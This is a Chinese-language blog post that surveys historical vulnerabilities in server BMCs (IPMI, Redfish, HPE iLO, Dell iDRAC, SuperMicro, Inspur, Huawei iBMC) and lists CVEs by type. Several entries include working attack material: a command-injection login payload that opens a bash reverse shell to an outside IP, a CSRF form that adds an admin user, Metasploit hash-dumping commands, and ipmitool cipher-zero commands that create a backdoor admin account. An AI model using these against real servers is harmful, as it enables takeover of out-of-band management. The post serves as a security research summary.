BMC 歷史漏洞匯總

剛開始接觸 BMC 以為研究的人比較少,感覺一般人也沒有機(jī)會(huì)接觸到。尤其是服務(wù)器風(fēng)扇的聲音,一般人也不想去碰。去查了一下 CVE 之后,發(fā)現(xiàn)有不少漏洞,還挺多人玩的。近期也在研究這一塊,把 BMC 曾曝出的漏洞做個(gè)匯總,看看大佬們都有哪些奇妙的思路。

BMC (Baseboard Management Controller)即 基板管理控制器 ,提供 IPMI/Redfish 架構(gòu)中的智能特性。它是嵌入在計(jì)算機(jī)(通常是服務(wù)器)主板上的專用微控制器。 BMC負(fù)責(zé)管理系統(tǒng)管理軟件和平臺(tái)硬件之間的接口。用于計(jì)算機(jī)系統(tǒng)的帶外管理和管理員操作監(jiān)視。提供的服務(wù)包括服務(wù)器物理健康狀態(tài)檢測(cè),服務(wù)器軟硬件信息和運(yùn)行狀態(tài)查詢、開關(guān)機(jī)、遠(yuǎn)程安裝操作系統(tǒng)等。

img

有了BMC,運(yùn)維人員可以通過瀏覽器等遠(yuǎn)程控制服務(wù)器(下圖是HPE ILO后臺(tái)),比如開關(guān)機(jī)、裝系統(tǒng)、進(jìn)入服務(wù)器終端等,而不用跑到機(jī)房忍受高溫、令人崩潰的聲音。而我們搞安全的就不一樣,就"喜歡"聽(被迫,要連接串口線),都不用降噪耳機(jī)呢!

img

云服務(wù)器帶外管理

帶外管理是指遠(yuǎn)程客戶端通過網(wǎng)絡(luò)物理通道對(duì)服務(wù)器進(jìn)行控制管理和維護(hù)。常見的帶外管理接口有 IPMI 和 Redfish。

IPMI

1998年,由Intel和HP主推的IPMI標(biāo)準(zhǔn),引入了單獨(dú)的帶外管理芯片BMC。智能平臺(tái)管理接口(IPMI)是一套為自主計(jì)算機(jī)子系統(tǒng)定義的計(jì)算機(jī)接口規(guī)范,用于提供獨(dú)立于主機(jī)系統(tǒng)的CPU,固件(BIOS或UEFI)和操作系統(tǒng)等軟硬件的管理和監(jiān)視功能。 IPMI定義了一套系統(tǒng)管理員接口,格式統(tǒng)一格式,對(duì)下層透明,可以架構(gòu)在網(wǎng)絡(luò)、串行/Moderm接口、IPMB(I2C)、KCS、SMIC、SMBus等不同接口上。

IPMI也在 2015 年公布 2.0 v1.1標(biāo)準(zhǔn)后,停止更新維護(hù),被 RedFish 永久代替。為了做到兼容,現(xiàn)在不少服務(wù)器上仍然支持 IPMI。

IMPI規(guī)范主體架構(gòu)如下:

img

使用 IPMI 的 BMC系統(tǒng)如下所示:

IPMI 命令舉例
# 查看設(shè)備信息
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin chassis status
# 查看用戶
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin user list
# 服務(wù)器的開機(jī),關(guān)機(jī)
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin power on
ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin power off
# 查看BMC的信息
/usr/bin/ipmitool -I lanplus -H 10.88.1.181 -U sysadmin -P admin mc info

Redfish

RedFish標(biāo)準(zhǔn)由DMTF組織的SPMF論壇維護(hù),它的提出者與 IPMI 的提出者幾乎一樣??梢哉f是下一代云服務(wù)器帶外管理接口。開發(fā)Redfish的主要原因之一是解決 IPMI 遺留的無法有效解決的安全需求。Redfish的第1版?zhèn)戎赜诜?wù)器,為IPMI - over - LAN提供了一個(gè)安全、多節(jié)點(diǎn)的替代品。隨后 的Redfish版本增加了對(duì)網(wǎng)絡(luò)接口(例如NIC、 CNA和FC HBA )、PCIe交換、本地存儲(chǔ)、 NVDIMM、多功能適配器和可組合性以及固 件更新服務(wù)、軟件更新推送方法和安全特權(quán)映射的管理。

Redfish 是一種基于 HTTPs 服務(wù)的管理標(biāo)準(zhǔn),利用 RESTful 接口實(shí)現(xiàn)設(shè)備管理。每個(gè) HTTPs 操作都以 UTF-8 編碼的JSON 的形式,提交或返回一個(gè)資源。就像 Web 應(yīng)用程序向?yàn)g覽器返回 HTML 一樣,RESTful 接口會(huì)通過同樣的傳輸機(jī)制(HTTPS),以JSON 的形式向客戶端返回?cái)?shù)據(jù),用于現(xiàn)有客戶端應(yīng)用程序和基于瀏覽 器的GUI。

API 舉例

在Redfish中,所有資源都是從服務(wù)入口點(diǎn)( root )鏈接的,服務(wù)入口點(diǎn)始終位于URL: /redfish/v1。添加用戶/redfish/v1/AccountService/Account:

img

含POC的漏洞(部分)

CVE-2020-21224:[浪潮 NF5266M5 Cluster Management System 命令注入]

用戶登錄頁面中的用戶和密碼字段存在命令注入漏洞。

img

后臺(tái)的處理代碼類似。

var1 = `grep xxxx`
var2 = $(python -c "from crypt import crypt;print crypt('$passwd','$1$$var1')")
img

發(fā)送 POST 消息實(shí)現(xiàn)反彈shell。

op=login&username=1 2\',\'1\'\);  `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.16.11.81%2F80%200%3E%261`
img

CVE-2019-19642:[SuperMicro IPMI 命令注入]

基于IPMI 的虛擬媒體服務(wù)存在命令注入漏洞,ShareHost 、ShareName、PathToimg 等參數(shù)均存在命令注入問題,可以使用反引號(hào) "`" 注入任意命令。

img

CVE-2020-15046 : [SuperMicro IPMI 03.40 - CSRF(添加管理員用戶)]

CSRF 添加管理員用戶 PoC :

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST">
      <input type="hidden" name="username" value="JOKER" />
      <input type="hidden" name="original&#95;username" value="2" />
      <input type="hidden" name="password" value="onebadday" />
      <input type="hidden" name="new&#95;privilege" value="4" />
      <input type="submit" value="submit request" />
    </form>

CVE-2018-7117: [HPE iLO5 XSS]

HPE iLO5 Web 后臺(tái) DHCP 選項(xiàng) 15domain name 未轉(zhuǎn)移特殊字符,造成了XSS。

img

[CVE-2017-12542][0]: HPE ILO4 認(rèn)證繞過

在訪問 https://127.0.0.1:8443/rest/v1/AccountService/Accounts 時(shí),在HTTP頭的Connection中添加大于等于29個(gè)字符后,即可繞過驗(yàn)證(下圖為成功獲取到目標(biāo)的iLO登錄用戶名):

img

CVE-2014-8272:[Dell iDRAC IPMI 1.5 - Session ID 隨機(jī)化問題可被預(yù)測(cè)]

iDRAC 的 session 格式為 0x0200XXYY。三四字節(jié) 0x0200 代表 iDRAC 支持的 IPMI 的版本。第一個(gè)字節(jié) YY 的取值范圍在 0x00~03,表示會(huì)話ID,意味著多點(diǎn)登錄的數(shù)量不能超過4個(gè)。第二個(gè)字節(jié) XX,在激活階段使用臨時(shí)會(huì)話ID后會(huì)+1。0x00 具備特殊含義,剩下 28- 1 種可能,從 0x01 ~ 0xFF。

利用:

  1. 使用任意賬戶發(fā)送 “Get Session Challenge” 請(qǐng)求獲取當(dāng)前的臨時(shí)會(huì)話 ID。

  2. 使用下一個(gè)會(huì)話 ID 構(gòu)造 IPMI 命令,這個(gè)會(huì)話 ID 是臨時(shí)ID+3。

  3. 重復(fù)發(fā)送構(gòu)造的請(qǐng)求,注入到下一個(gè)會(huì)話中。

POC: [exploit-db][1]

Supermicro IPMI 密碼泄露

SuperMicro老版本在49152放置了明文密碼文件。攻擊者可以通過請(qǐng)求服務(wù)器49152端口的 /PSBlock 文件,就可得到80端口web管理界面的密碼,密碼放在PSBlock文件中。

IPMI 接口漏洞

IPMI(Intelligent PlatformManagement Interface)智能平臺(tái)管理接口,原本是一種Intel架構(gòu)的企業(yè)系統(tǒng)的周邊設(shè)備所采用的一種工業(yè)標(biāo)準(zhǔn)。IPMI亦是一個(gè)開放的免費(fèi)標(biāo)準(zhǔn),用戶無需支付額外的費(fèi)用即可使用此標(biāo)準(zhǔn)。

IPMI 能夠橫跨不同的操作系統(tǒng)、固件和硬件平臺(tái),可以智能的監(jiān)視、控制和自動(dòng)回報(bào)大量服務(wù)器的運(yùn)行狀況,以降低服務(wù)器系統(tǒng)成本。IPMI基于UDP協(xié)議進(jìn)行傳輸,基于該協(xié)議建立的遠(yuǎn)程管理控制服務(wù),默認(rèn)綁定在623端口。

  • 大部分設(shè)備都存在默認(rèn)賬號(hào)和
img
  • [CVE-2013-4786][3]:IPMI 2.0 RAKP 密碼哈希泄露

在IPMI RAKP 消息 2 回復(fù)中包含獲得 HMAC,通過本地爆破可以得到密碼。

$ ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 192.168.8.117 chassis identify
[...]
 Key exchange auth code [sha1] : 0xede8ec3caeb235dbad1210ef985b1b19cdb40496
[...]

Metasploit 提供了掃描模塊 auxiliary/scanner/ipmi/ipmi_dumphashes。

msf> use auxiliary/scanner/ipmi/ipmi_dumphashes
msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_dumphashes) > set THREADS 256
msf auxiliary(ipmi_dumphashes) > run
[ ] 10.0.0.59 root:266ead5921000000....000000000000000000000000000000001404726f6f74:eaf2bd6a5 3ee18e3b2dfa36cc368ef3a4af18e8b
[ ] 10.0.0.59 Hash for user 'root' matches password 'calvin'
[ ] 10.0.0.59 :408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7af26abee 34904f54f26e64d580c0
[ ] 10.0.0.59 Hash for user '' matches password 'admin'
  • [ipmicipherzero][4]

遠(yuǎn)程攻擊者可通過使用密碼套件0(又名cipher zero)和任意的密碼,利用該漏洞繞過身份認(rèn)證,執(zhí)行任意IPMI命令。IPMI 2.0使用cipher zero加密組件時(shí),攻擊者只需要知道一個(gè)有效的用戶名就可以接管IPMI的功能。

正常狀態(tài)下,提供錯(cuò)誤的賬戶是不能建立會(huì)話的。

$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
Error: Unable to establish IPMI v2 / RMCP session
Get User Access command failed (channel 14, user 1)

添加 -C 0 選項(xiàng),使用 cipher 0 了繞過認(rèn)證。

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1  Administrator    true    false      true      ADMINISTRATOR
2  (Empty User)    true    false      false      NO ACCESS

添加一個(gè)后門賬戶。

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set name 2 backdoor
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set password 2 password
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user priv 2 4
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user enable 2
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
1  Administrator    true    false      true      ADMINISTRATOR
2  backdoor              true    false      true      ADMINISTRATOR
$ ssh backdoor@10.0.0.99
backdoor@10.0.0.99's password: password
User:backdoor logged-in to ILOMXQ3469216(10.0.0.99)
iLO 4 Advanced Evaluation 1.13 at  Nov 08 2012
Server Name: host is unnamed
Server Power: On
</>hpiLO->

漏洞列表(部分)

BMC 存在的漏洞以 Web 后臺(tái)管理的居多,ipmi、redfish 等管理接口也有不少的問題。暴露的漏洞種類繁多,出現(xiàn)的漏洞類型如下,并列舉了部分案例。 總體來看命令注入、認(rèn)證繞過、越權(quán)以及信息泄露這四種占比較大,威脅系數(shù)也屬于最高。

  • XSS
  • CVE-2019-11216: 惠普 iLO5 XSS 漏洞。
  • CVE-2019-6159: IBM System x IMM XSS 漏洞。
  • CSRF
  • CVE-2020-15046: SuperMicro IPMI 03.40 可利用 CSRF 添加管理員用戶。
  • 命令注入
  • CVE-2020-21224 : 浪潮 NF5266M5 Cluster Management System 命令注入。
  • CVE-2019-1885: 思科 Integrated Management Controller (IMC) 由于校驗(yàn)不足,導(dǎo)致可通過 redfish 執(zhí)行任意命令。
  • CVE-2019-19642: SuperMicro IPMI 基于IPMI 的虛擬媒體服務(wù)存在命令注入漏洞。
  • CVE-2018-9086: Lenovo ThinkServer-branded 服務(wù)器固件下載命令存在命令注入漏洞,允許授權(quán)用戶下載任意代碼執(zhí)行。
  • 越權(quán)
  • CVE-2018-15774:戴爾 EMC iDRAC 校驗(yàn)不足導(dǎo)致,普通用戶可通過 redfish 提升至管理員權(quán)限。
  • CVE-2018-7950/CVE-2018-7951 華為 iBMC JSON 注入修改管理員密碼提升至管理員權(quán)限。
  • CVE-2018-7949 : 華為 iBMC 登錄功能存在缺陷,低權(quán)限用戶可獲得以及修改管理員密碼。
  • CVE-2018-7941: 華為 iBMC 低權(quán)限用戶通過上傳證書提升至管理員權(quán)限。
  • CVE-2017-17323:華為 iBMC 低權(quán)限用戶可訪問高權(quán)限用戶才能訪問的頁面。
  • 認(rèn)證繞過
  • CVE-2018-1668: IBM DataPower Gateway 允許使用 "null" 登錄,能夠讀取 IPMI 的敏感數(shù)據(jù)。
  • CVE-2017-12542: HPE iLO5 認(rèn)證繞過漏洞。
  • CVE-2013-4784: HP iLO 任意密碼繞過, 利用 IPMI cipher 0。
  • CVE-2014-8272: IPMI 1.5會(huì)話ID隨機(jī)性不足。
  • CVE-2013-4782: Supermicro 身份驗(yàn)證繞過導(dǎo)致任意代碼執(zhí)行。
  • CVE-2013-4783: Dell iDRAC6 身份驗(yàn)證繞過導(dǎo)致任意代碼執(zhí)行。
  • 加密算法強(qiáng)度不足
  • CVE-2016-6899:華為 iBMC 包含了弱加密算法,攻擊者能夠解密加密的數(shù)據(jù),導(dǎo)致信息泄露。
  • 拒絕服務(wù)
  • CVE-2016-6900: 華為 iBMC 資源消耗漏洞,造成拒絕服務(wù)漏洞。
  • 緩沖區(qū)溢出
  • CVE-2021-29202: HPE iLO4/5 緩沖區(qū)溢出漏洞。
  • CVE-2013-3623: Supermicrocgi/close_window.cgi緩沖區(qū)溢出任意命令執(zhí)行。
  • CVE-2013-3622: Supermicro logout.cgi緩沖區(qū)溢出任意命令執(zhí)行
  • 信息泄露:管理員憑證、任意文件下載、API接口
  • CVE-2020-14156: openbmc 信息泄露,任何使用 SSH、SCP 訪問 MBC 的用戶都能去讀 /etc/ipmi_pass文件,解碼認(rèn)證憑證后能越權(quán)到其他用戶。
  • CVE-2014-0860: IBM BladeCenter高級(jí)管理模塊IPMI明文憑證泄漏。
  • CVE-2013-4786: IPMI2.0離線密碼爆破漏洞。
  • CVE-2013-4037: IBM IPMI明文憑證泄漏。
  • CVE-2013-4037: IPMI 密碼哈希值泄漏漏洞。
  • 硬編碼:
  • CVE-2013-4031: IPMI用戶默認(rèn)賬號(hào)登錄漏洞。
  • 邏輯漏洞:
  • CVE-2020-26122:浪潮 NF5266M5 服務(wù)器固件更新驗(yàn)證脆弱,向固件包中插入惡意代碼可獲取系統(tǒng)控制權(quán)。
  • CVE-2019-4169: IBM Open Power Firmware OP910 and OP920 密碼更改后原密碼不失效。
  • CVE-2019-6161: ThinkAgile CP-SB 會(huì)話可被重用。

參考

  • [基于IPMI協(xié)議的DDoS反射攻擊分析][0]
  • [IPMI相關(guān)漏洞利用及WEB端默認(rèn)口令登錄漏洞][1]
  • [服務(wù)器BMC技術(shù)調(diào)研][2]
  • [服務(wù)器基板管理控制器(BMC)帶外管理功能和性能要求][3]
  • [CVE-2017-12542簡(jiǎn)單分析及復(fù)現(xiàn)][4]
  • [ClusterEngineV4.0 Vul][5]
  • [SuperMicro IPMI Exploitation][6]
  • [CVE-2014-8272: A Case of Weak Session-ID in Dell iDRAC][7]
  • [A Penetration Tester's Guide to IPMI and BMCs][8]
  • [Supermicro IPMI Firmware Vulnerabilities][9]
  • [623/UDP/TCP - IPMI - HackTricks][10]
  • [Cracking IPMI Passwords Remotely][11]
  • [The Infamous Cipher Zero][12]
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 沒有過多涉及原理和分析,只是作為記錄,免得一問三不知。 T3協(xié)議 什么是RMI:遠(yuǎn)程方法調(diào)用(Remote Met...
    jjf012閱讀 7,206評(píng)論 1 5
  • 訪問控制類漏洞與隱患 這一類漏洞與隱患屬于訪問控制與身份鑒別問題,一般有沒有配置訪問控制、訪問控制弱(弱口令或者空...
    道書簡(jiǎn)閱讀 1,630評(píng)論 0 0
  • sudo 的全稱是“superuserdo”,它是Linux系統(tǒng)管理指令,允許用戶在不需要切換環(huán)境的前提下以其它用...
    yyyyyyyyt閱讀 590評(píng)論 0 0
  • FCKeditor FCKeditor編輯頁 FCKeditor查看編輯器版本 FCKeditor V2.43版本...
    嘎聞旺閱讀 2,753評(píng)論 0 4
  • 表情是什么,我認(rèn)為表情就是表現(xiàn)出來的情緒。表情可以傳達(dá)很多信息。高興了當(dāng)然就笑了,難過就哭了。兩者是相互影響密不可...
    Persistenc_6aea閱讀 129,895評(píng)論 2 7

友情鏈接更多精彩內(nèi)容